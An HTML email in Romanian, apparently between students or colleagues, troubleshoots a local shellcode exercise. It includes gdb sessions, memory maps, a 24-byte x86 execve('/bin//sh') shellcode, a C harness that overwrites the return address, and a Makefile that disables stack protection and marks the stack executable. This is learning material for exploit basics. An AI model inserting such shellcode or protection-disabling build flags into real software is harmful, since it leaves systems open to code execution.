<html><body><div style="color:#000; background-color:#fff; font-family:times new roman, new york, times, serif;font-size:12pt"><div><span>Alexandru,</span></div><div><br></div><div>Cred că problema provine din faptul că nu compilezi programul așa cum ar trebui (aliniament corect de stivă + dezactivarea sistemelor de protecție la stack smashing). Am făcut câteva modificări asupra shellcode-ului [1] și am inclus un Makefile [2].<br></div><div><br></div><div>În principiu cel mai mare impact din ce observ eu îl are flag-ul -z execstack care marchează explicit pagini ca fiind executabile:</div><div><br></div><div>Uite cum a mers la mine treaba:</div><div><br></div><div>-z execstack disabled:<br><br>[dtarcatu@wlan-itc-lnx-shell21 test]$ gdb ./test<br>GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-32.el5)<br>Copyright (C) 2009 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html><br>This
is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law. Type "show copying"<br>and "show warranty" for details.<br>This GDB was configured as "i386-redhat-linux-gnu".<br>For bug reporting instructions, please see:<br><http://www.gnu.org/software/gdb/bugs/>...<br>Reading symbols from /homes/dtarcatu/workspace/test/test...done.<br>(gdb) break main<br>Breakpoint 1 at 0x804837a: file test.c, line 20.<br>(gdb) run<br>Starting program: /homes/dtarcatu/workspace/test/test<br><br>Breakpoint 1, main () at test.c:20<br>20 ret = (int *)&ret + 2;<br>(gdb) s<br>21 *ret = (int)sc;<br>(gdb) s<br>23 return 0;<br>(gdb) s<br>24 }<br>(gdb) s<br>0x080495dc in sc ()<br>(gdb) s<br>Single stepping until exit
from function sc,<br>which has no line number information.<br><br>Program received signal SIGSEGV, Segmentation fault.<br>0x080495dc in sc ()<br><br>Address space layout:<br><br>22760: /homes/dtarcatu/workspace/test/test<br>0034f000 4K r-x-- [ anon ]<br>0052d000 108K r-x-- /lib/ld-2.5.so<br>00548000 4K r---- /lib/ld-2.5.so<br>00549000 4K rw--- /lib/ld-2.5.so<br>00551000 1356K r-x-- /lib/libc-2.5.so<br>006a4000 8K r---- /lib/libc-2.5.so<br>006a6000 4K rw--- /lib/libc-2.5.so<br>006a7000 12K rw--- [ anon ]<br>08048000 4K r-x-- /homes/dtarcatu/workspace/test/test<br>08049000 4K rw---
/homes/dtarcatu/workspace/test/test<br>b7fe8000 8K rw--- [ anon ]<br>bffea000 84K rw--- [ stack ]<br> total 1600K<br><br><br>-z execstack enabled:<br><br>[dtarcatu@wlan-itc-lnx-shell21 test]$ gdb ./test<br>GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-32.el5)<br>Copyright (C) 2009 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html><br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law. Type "show copying"<br>and "show warranty" for details.<br>This GDB was configured as "i386-redhat-linux-gnu".<br>For bug reporting instructions, please see:<br><http://www.gnu.org/software/gdb/bugs/>...<br>Reading symbols from /homes/dtarcatu/workspace/test/test...done.<br>(gdb) break main<br>Breakpoint 1
at 0x804837a: file test.c, line 20.<br>(gdb) run<br>Starting program: /homes/dtarcatu/workspace/test/test<br>warning: .dynamic section for "/lib/libc.so.6" is not at the expected address<br>warning: difference appears to be caused by prelink, adjusting expectations<br><br>Breakpoint 1, main () at test.c:20<br>20 ret = (int *)&ret + 2;<br>(gdb) s<br>21 *ret = (int)sc;<br>(gdb) s<br>23 return 0;<br>(gdb) s<br>24 }<br>(gdb) s<br>0x080495dc in sc ()<br>(gdb) s<br>Single stepping until exit from function sc,<br>which has no line number information.<br>Executing new program: /bin/bash<br><br>Breakpoint 1, 0x0805d921 in main ()<br>(gdb) s<br>Single stepping until exit from function main,<br>which has no line number information.<br>sh-3.2$ <br><br><br>Address space
layout:<br><br>22802: /homes/dtarcatu/workspace/test/test<br>00110000 1356K r-x-- /lib/libc-2.5.so<br>00263000 8K r-x-- /lib/libc-2.5.so<br>00265000 4K rwx-- /lib/libc-2.5.so<br>00266000 12K rwx-- [ anon ]<br>0052d000 108K r-x-- /lib/ld-2.5.so<br>00548000 4K r-x-- /lib/ld-2.5.so<br>00549000 4K rwx-- /lib/ld-2.5.so<br>00627000 4K rwx-- [ anon ]<br>006fc000 4K rwx-- [ anon ]<br>007dd000 4K r-x-- [ anon ]<br>08048000 4K r-x-- /homes/dtarcatu/workspace/test/test<br>08049000 4K rwx--
/homes/dtarcatu/workspace/test/test<br>bffea000 84K rwx-- [ stack ]<br> total 1600K<br><span></span></div><div><br></div><div>Mersi,<br><span></span></div><div><span> Dragoș</span></div><br><br>PS: Aparent nu pot trece cu atașamente prin proxy așa că listez codul direct ...<br><br>[1] <br>char sc[]= /* 24 bytes */<br> "\x31\xc0" /* xorl %eax,%eax */<br> "\x50"
/* pushl %eax */<br> "\x68""//sh" /* pushl $0x68732f2f */<br> "\x68""/bin" /* pushl $0x6e69622f */<br> "\x89\xe3" /* movl %esp,%ebx */<br> "\x50" /* pushl
%eax */<br> "\x53" /* pushl %ebx */<br> "\x89\xe1" /* movl %esp,%ecx */<br> //"\x99" /* cdql */<br>
"\xb0\x0b" /* movb $0x0b,%al */<br> "\xcd\x80" /* int $0x80 */<br>;<br><br>int main()<br>{<br> int *ret;<br><br> ret = (int *)&ret + 2;<br> *ret = (int)sc;<br><br> return 0;<br>}<br><br>[2]<br>all: astest test<br><br>test: test.c<br> gcc -g -ggdb -mpreferred-stack-boundary=2 -o test test.c -fno-stack-protector -z execstack<br><br>astest:<br> as -o astest.o astest.s -ggstabs<br>
ld -o astest astest.o<br><br>clean:<br> rm -f *~ *.o test astest<br><br>[*]<br>.text<br>.globl _start<br><br><br>_start:<br><br>xorl %eax,%eax<br>pushl %eax<br>pushl $0x68732f2f<br>pushl $0x6e69622f<br>movl %esp,%ebx<br>pushl %eax<br>pushl %ebx<br>movl %esp,%ecx<br>#cdql<br>movb $0x0b,%al<br>int $0x80<br><br><br><br><br><br> <div style="font-family: times new roman, new york, times, serif; font-size: 12pt;"> </div> </div></body></html>